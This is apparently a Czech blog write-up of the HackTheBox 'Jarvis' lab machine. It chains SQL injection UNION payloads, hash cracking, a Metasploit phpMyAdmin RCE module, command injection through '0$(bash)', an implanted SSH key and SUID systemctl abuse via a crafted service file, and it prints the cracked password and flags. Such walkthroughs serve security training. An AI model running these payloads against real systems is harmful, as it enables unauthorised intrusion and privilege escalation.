tom@home.htb:~$

Blog o HTB

7 December 2020

Jarvis

Úvod a kontext

Jarvis je pěkný příklad vícekrokového webového řetězce. Začíná SQL injection v hotelové aplikaci, pokračuje přes přístup do phpMyAdmin, potom přes špatně napsaný interní Python skript přechází na účet pepper a končí zneužitím SUID systemctl.

V tomhle článku je důležité oddělit jednotlivé vrstvy. SQL injection sama o sobě nedává shell, ale dává hash databázového administrátora. phpMyAdmin z něj udělá první shell. Až následná lokální enumerace ukáže skript simpler.py, přes který se dá dostat ke stabilnímu SSH jako pepper.

Počáteční průzkum

Apache, phpMyAdmin a druhý web na 64999

První nmap ukáže klasický Apache na 80/tcp, ale také druhý HTTP server na 64999/tcp. K tomu navíc dirsearch odhalí veřejně přístupný phpMyAdmin, což je na internetově dostupném serveru vždy silná stopa.

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
./dirsearch.py -u jarvis.htb -e php -x 403
22/tcp    open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
64999/tcp open  http    Apache httpd 2.4.25 ((Debian))

=> /phpmyadmin/

Analýza zjištění

SQL injection v room.php

Hotelová aplikace sama nevydá shell, ale je injekovatelná přes parametr cod v room.php. UNION SELECT dovolí sáhnout až do mysql.user, takže se objeví účet DBadmin a jeho SHA1 hash.

http://supersecurehotel.htb/room.php?cod=666 UNION SELECT 1,2,3,4,5,6,7
http://supersecurehotel.htb/room.php?cod=666 UNION SELECT 1,user,3,password,5,6,7 from mysql.user
=> user: DBadmin
=> password: *2D2B7A5E4E637B8FBA1D17F40318F277D29964D0

Jakmile je hash k dispozici, další krok je zřejmý: cracknout ho a zkusit heslo v administrativních nástrojích dostupných na hostu.

hashcat --force -m 300 -a 0 "2D2B7A5E4E637B8FBA1D17F40318F277D29964D0" /usr/share/wordlists/rockyou.txt
=> imissyou

phpMyAdmin jako cesta k prvnímu shellu

Heslo imissyou otevírá phpMyAdmin a přes známý modul phpmyadmin_lfi_rce vede k prvnímu shellu. Tím se z databázového přístupu stává skutečný systémový foothold.

msf (exploit/multi/http/phpmyadmin_lfi_rce)
shell
python -c 'import pty; pty.spawn("/bin/bash")'

Získání přístupu

Přes simpler.py na účet pepper

První shell ještě neběží pod účtem, se kterým by se dobře pracovalo. Lokální sudo -l ale ukáže, že lze jako pepper spustit skript /var/www/Admin-Utilities/simpler.py. Ten nekorektně zpracuje parametr -p, takže vstup 0$(bash) vede ke command injection.

Jakmile je k dispozici shell jako pepper, je nejrozumnější si místo jednorázové session zapsat vlastní SSH klíč do authorized_keys a přepnout se na stabilní SSH.

sudo -S -u pepper /var/www/Admin-Utilities/simpler.py -p
0$(bash)

mkdir -p ~/.ssh && chmod 700 ~/.ssh && touch ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBpuZ8+QR3hnONfIO2Y/vhoVRgVDpeOUrpxa+EOnRNhAV9/dYNoi/hOn0TTNcf0I5ws2UXkJAZsjH6IRImyRSDA5ly8K8lYqTyWRUGU1EGZ2ovlR2fjzOTaeuKY8VylnwQzQBNrFPoDZ6uKjpORoRszHQf9WzrtZ8M+zcpGO0MLPiuEl78INxwii7y94CAn1gl+xlrIgKAF3inpuTlaLvEljLe1JgsYKJIcZNplYgA9pcDx7HWFceyAUwpdc438kTiANtmz6863mjfuoZ1LQ9mK8pmR010L9eQhO8FGq15Hpru0AJzIuTNoEJKYsdBG6ttfQ4DLmey6h0IE5IkcqrfH9gAweGIJ68zn3Xh1GP9CWO8iKxkMZPemr5GhBKB1mr0ebCjuWwxzmzmzeBcIm6PlSkkt5iULsgdgsvu/ptFIFGVukajnihbK/b3uWCDtaJcgaSILoSomouxjfXqmAwj/TaM0qHsT7K9NZsPfOB5ZAXa2spPR+AGsJUYviAkFDPvgSeRrf2g9QW37pYw0Vjl+pmlehyW1Pl0RKi5eXxEQHZQddlDbpcwk6K9GVA04juJce5odDeWk0TUuxTgU2y1jnGnvQZSizjl6YcRXUNDXF2H/tFVKaW0D5acreO4JBU9cl6MCwWONLkV5GTLHNAEzIsSAk4NJw+ppfkBwBIs1Q== hack@t" >> ~/.ssh/authorized_keys

ssh pepper@jarvis.htb
cat user.txt
2afa36c4f05b37b34259c93551f5c44f

Eskalace oprávnění

SUID systemctl

Na účtu pepperlinpeas ukáže rozhodující stopu: SUID systemctl. To je extrémně nebezpečné, protože systemctl dovoluje vytvářet a spouštět systemd jednotky. Stačí připravit dočasný .service soubor, který jako ExecStart provede libovolný příkaz, a pak ho přes systemctl aktivovat.

./linpeas.sh
=> SUID systemctl

TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF

systemctl link $TF
systemctl enable --now $TF
cat /tmp/output
d41d8cd98f00b204e9800998ecf84271

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: linux - sql-injection - lfi - rce - ssh - sudo - php